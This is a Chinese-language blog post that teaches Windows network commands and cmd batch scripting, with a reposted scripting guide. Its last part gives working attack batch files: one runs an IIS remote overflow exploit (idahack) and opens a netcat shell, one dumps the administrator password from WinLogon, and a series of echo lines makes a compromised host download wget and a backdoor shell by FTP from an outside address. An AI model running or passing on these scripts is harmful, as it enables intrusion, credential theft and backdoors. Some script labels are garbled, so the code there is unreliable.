24h購物| | PChome| 登入
2010-08-17 10:08:00| 人氣1,258| 回應0 | 上一篇 | 下一篇

windows 常用的網路指令

推薦 0 收藏 0 轉貼0 訂閱站台

windows 常用的網路指令

 

常用的網路指令

ping
ping用於確定本地主機是否能與另一台主機交換(發送與接收)資料。根據返回的訊息,你就可以推斷TCP/IP參數是否設置正確以及運作是否正常。Windows上的Ping指令預設發送4個ICMP封包(32byte),如果一切正常,應能得到4個回應封包。Ping還能顯示TTL(Time To Live存在時間)值,你可以通過TTL值推算一下封包已經通過了多少個路由器。
netstat
netstat用於顯示與IP、TCP、UDP和ICMP等協定的統計資料,一般用於檢驗本機各埠的網絡連接情況。
ipconfig
ipconfig用於查詢目前電腦的網路組態,包括IP位址、MAC硬體位址、Gateway、子網路遮罩、DHCP主機、DNS主機…等等資訊。
arp
arp用於確定對應IP的網卡實際位址。
tracert
tracert命令可以用來追蹤封包使用的路由(路徑)。
pathping
pathping的功能與tracert很類似,一樣可以偵測本機電腦到對方電腦的所經路徑,並列出經過的全部節點。不過pathping有一個更實用的功能,它可以顯示各節點的資料封包遺失狀況,讓我們可以直接判斷是哪台路由器或電腦造成連線速度驟減或其他網路障礙。
route
route命令可以用來顯示和修改路由表的內容。
nbtstat
nbtstat命令用來提供關於NetBIOS的統計資料。運用NetBIOS,你可以查看本機或遠方主機的NetBIOS名字表格。
net
net命令有很多函數可用於電腦之間的NetBIOS連接,如net view、net config和net use等。

如何判斷哪些程式使用或阻礙特定的TCP 連接埠(port)

  1. 使用微軟的netstat -o 指令,再配合tasklist 指令
  2. 使用微軟的netstat -b 指令
  3. 使用微軟的portqry 指令
  4. 使用免費工具

    ps.winxp以後的netstat 指令才有 -o 與 -b 的參數,但不適用於Win2k, Win2k只能使用portqry指令,Win2003 Server也無法使用-b參數。

    1.使用-o 參數,可以用來顯示與每個連線相關的處理程序識別碼 (PID)。

    再利用tasklist 指令,就可以將列出的處理程序識別碼(PID)與處理程序名稱 (程式) 做比較。

    netstat -ano

    2.使用-b 參數,除可顯示與每個連線相關的PID之外,還能顯示該PID對應的程式或函式名稱。

    目前僅有WinXP支援此參數 .

    netstat -anb

    3. 使用PortQry Command Line Port Scanner工具程式

    PortQry Command Line Port Scanner 2.0 是微軟的命令列公用程式,此公用程式會報告本機電腦或遠端電腦上,目標 TCP 及「使用者資料包通訊協定」(UDP,User Datagram Protocol) 連接埠的連接埠狀態。

    1. 執行該程式後會解壓縮檔案到 C:\PortQryV2 目錄
    2. 開啟命令提示字元

      c:

      cd \portqryv2

      portqry -local | more

      4.使用免費工具

      TCPView
      用來檢測系統的埠號或網路連線是由那個Process所開啟
      ActivePorts
      同TCPview,用來檢測系統的埠號或網路連線是由那個Process所開啟
      ProcessExplorer
      列出WindowsNT/2000/XP目前所執行的Process及相關資訊

      轉載(cmd 指令加強解說...)

      2008/11/11 15:22
      cmd 指令加強解說...

      文章結構
      1. 所有內置命令的幫助資訊
      2. 環境變數的概念
      3. 內置的特殊符號(實際使用中間注意避開)
      4. 簡單批次檔概念
      5. 附件1 tmp.txt
      6. 附件2 sample.bat

      ######################################################################
      1. 所有內置命令的幫助資訊
      ######################################################################
      ver
      cmd /?
      set /?
      rem /?
      if /?
      echo /?
      goto /?
      for /?
      shift /?
      call /?
      其他需要的常用命令
      type /?
      find /?
      findstr /?
      copy /?
      ______________________________________________________________________
      下面將所有上面的幫助輸出到一個檔案
      echo ver >tmp.txt
      ver >>tmp.txt
      echo cmd /? >>tmp.txt
      cmd /? >>tmp.txt
      echo rem /? >>tmp.txt
      rem /? >>tmp.txt
      echo if /? >>tmp.txt
      if /? >>tmp.txt
      echo goto /? >>tmp.txt
      goto /? >>tmp.txt
      echo for /? >>tmp.txt
      for /? >>tmp.txt
      echo shift /? >>tmp.txt
      shift /? >>tmp.txt
      echo call /? >>tmp.txt
      call /? >>tmp.txt
      echo type /? >>tmp.txt
      type /? >>tmp.txt
      echo find /? >>tmp.txt
      find /? >>tmp.txt
      echo findstr /? >>tmp.txt
      findstr /? >>tmp.txt
      echo copy /? >>tmp.txt
      copy /? >>tmp.txt
      type tmp.txt
      ______________________________________________________

      ######################################################################
      2. 環境變數的概念
      ######################################################################
      _____________________________________________________________________________
      C:\Program Files>set
      ALLUSERSPROFILE=C:\Documents and Settings\All Users
      CommonProgramFiles=C:\Program Files\Common Files
      COMPUTERNAME=FIRST
      ComSpec=C:\WINNT\system32\cmd.exe
      NUMBER_OF_PROCESSORS=1
      OS=Windows_NT
      Os2LibPath=C:\WINNT\system32\os2\dll;
      Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
      PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
      PROCESSOR_ARCHITECTURE=x86
      PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
      PROCESSOR_LEVEL=6
      PROCESSOR_REVISION=0605
      ProgramFiles=C:\Program Files
      PROMPT=$P$G
      SystemDrive=C:
      SystemRoot=C:\WINNT
      TEMP=C:\WINNT\TEMP
      TMP=C:\WINNT\TEMP
      USERPROFILE=C:\Documents and Settings\Default User
      windir=C:\WINNT
      _____________________________________________________________________________

      path: 表示可執行程式的搜索路徑. 我的建議是你把你的程式copy 到
      %windir%\system32\. 這個目錄裏面. 一般就可以自動搜索到.
      語法: copy mychenxu.exe %windir%\system32\.
      使用點(.) 便於一目了然
      對環境變數的引用使用(英文模式,半形)雙引號
      %windir% 變數
      %%windir%% 二次變數引用.
      我們常用的還有
      %temp% 暫存檔案目錄
      %windir% 系統目錄
      %errorlevel% 退出代碼

      輸出檔案到暫存檔案目錄裏面.這樣便於當前目錄整潔.

      對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file資料夾操作
      C:\>dir p*
      C:\ 的目錄
      2000-09-02 11:47 2,164 PDOS.DEF
      1999-01-03 00:47 Program Files
      1 個檔案 2,164 位元組
      1 個目錄 1,505,997,824 可用位元組

      C:\>cd pro*
      C:\Program Files>

      C:\>
      C:\>cd "Program Files"
      C:\Program Files>


      ######################################################################
      3. 內置的特殊符號(實際使用中間注意避開)
      ######################################################################
      微軟裏面內置了下列字元不能夠在創建的檔案名中間使用
      con nul aux \ / │ ││ && ^ > < *

      You can use most characters as variable values, including white space. If you use the special characters <, >, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
      (大意: 要麼你使用^作為前導字元表示.或者就只有使用雙引號""了)
      To create the variable value new&name, type:
      set varname=new^&name

      To create the variable value "new&name", type:
      set varname="new&name"

      The ampersand (&), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

      find "Pacific Rim" < trade.txt > nwtrade.txt
      IF EXIST filename. (del filename.) ELSE echo filename. missing

      > 創建一個檔案
      >> 追加到一個檔案後面
      @ 首碼字元.表示執行時本行在cmd裏面不顯示, 可以使用 echo off關閉顯示
      ^ 對特殊符號( > < &)的前導字元. 第一個只是顯示aaa 第二個輸出檔案bbb
      echo 123456 ^> aaa
      echo 1231231 > bbb
      () 包含命令
      (echo aa & echo bb)
      , 和空格一樣的缺省分隔符號號.
      ; 注釋,表示後面為注釋
      : 標號作用
      │ 管道操作
      & Usage:第一條命令 & 第二條命令 [& 第三條命令...]
      用這種方法可以同時執行多條命令,而不管命令是否執行成功
      dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
      && Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
      當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
      ││ Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]
      當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

      常用語法格式
      IF [NOT] ERRORLEVEL number command para1 para2
      IF [NOT] string1==string2 command para1 para2
      IF [NOT] EXIST filename command para1 para2

      IF EXIST filename command para1 para2
      IF NOT EXIST filename command para1 para2
      IF "%1"=="" goto END
      IF "%1"=="net" goto NET
      IF NOT "%2"=="net" goto OTHER
      IF ERRORLEVEL 1 command para1 para2
      IF NOT ERRORLEVEL 1 command para1 para2
      FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
      FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
      按照字母順序 ijklmnopq依次取參數.
      eol=c - 指一個行注釋字元的結尾(就一個)
      skip=n - 指在檔案開始時忽略的行數。
      delims=xxx - 指分隔符號集。這個替換了空格和跳格鍵的默認分隔符號集。


      ######################################################################
      4. 簡單批次檔概念
      ######################################################################

      echo This is test > a.txt
      type a.txt
      echo This is test 11111 >> a.txt
      type a.txt
      echo This is test 22222 > a.txt
      type a.txt
      第二個echo是追加
      第三個echo將清空a.txt 重新創建 a.txt

      netstat -n │ find "3389"
      這個將要列出所有連接3389的用戶的ip.

      ________________test.bat___________________________________________________
      @echo please care
      echo plese care 1111
      echo plese care 2222
      echo plese care 3333
      @echo please care
      @echo plese care 1111
      @echo plese care 2222
      @echo plese care 3333
      rem 不顯示注釋語句,本行顯示
      @rem 不顯示注釋語句,本行不顯示
      @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
      @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
      ___________________________________________________________________________

      下面我們以具體的一個idahack程式就是ida遠端溢出為例子.應該是很簡單的.

      ___________________ida.bat_________________________________________________
      @rem ver 1.0
      @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
      @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

      @if "%1" =="" goto USAGE
      @if NOT "%2" =="" goto SP2

      tart
      @echo Now start ...
      @ping %1
      @echo chinese win2k:1 sp1:2 sp2:3
      idahack.exe %1 80 1 99 >%temp%\_tmp
      @echo "prog exit code [%errorlevel%] idahack.exe"
      @type %temp%\_tmp
      @find "good luck" %temp%\_tmp
      @echo "prog exit code [%errorlevel%] find [goog luck]"
      @if NOT errorlevel 1 nc.exe %1 99
      @goto END

      P2
      @idahack.exe %1 80 %2 99 %temp%\_tmp
      @type %temp%\_tmp
      @find "good luck" %temp%\_tmp
      @if NOT errorlevel 1 nc.exe %1 99
      @goto END

      :USAGE
      @echo Example: ida.bat IP
      @echo Example: ida.bat IP (2,3)

      :END
      _____________________ida.bat__END_________________________________

      下面我們再來第二個檔案.就是得到administrator的口令.
      大多數人說得不到.其實是自己的沒有輸入正確的資訊.

      ___________________________fpass.bat____________________________________________
      @rem ver 1.0
      @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
      @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

      @echo start....
      @echo ____________________________________
      @if "%1"=="" goto USAGE
      @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
      @echo "prog exit code [%errorlevel%] findpass.exe"
      @type %temp%\_findpass.txt
      @echo ________________________________Here__pass★★★★★★★★
      @ipconfig /all >>%temp%\_findpass.txt
      @goto END

      :USAGE
      @pulist.exe >%temp%\_pass.txt
      @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
      @echo "Example: fpass.bat %1 %2 %3 %4 !!!"
      @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

      :END
      @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
      @echo " fpass.bat end [%errorlevel%] !"
      _________________fpass.bat___END___________________________________________________________

      還有一個就是已經通過telnet登陸了一個遠端主機.怎樣上傳文件(win)
      依次在視窗輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!

      echo open 210.64.x.4 3396>w
      echo read>>w
      echo read>>w
      echo cd winnt>>w
      echo binary>>w
      echo pwd >>w
      echo get wget.exe >>w
      echo get winshell.exe >>w
      echo get any.exe >>w
      echo quit >>w
      ftp -s:w

台長: 李萬福
人氣(1,258) | 回應(0)| 推薦 (0)| 收藏 (0)| 轉寄
全站分類: 不分類 | 個人分類: 電腦教學 |
此分類下一篇:認識鍵盤與指法
此分類上一篇:Google 電子郵件 -- GMail》影音教學 = 網路應用 - Gmail

是 (若未登入"個人新聞台帳號"則看不到回覆唷!)
* 請輸入識別碼:
請輸入圖片中算式的結果(可能為0) 
(有*為必填)
TOP
詳全文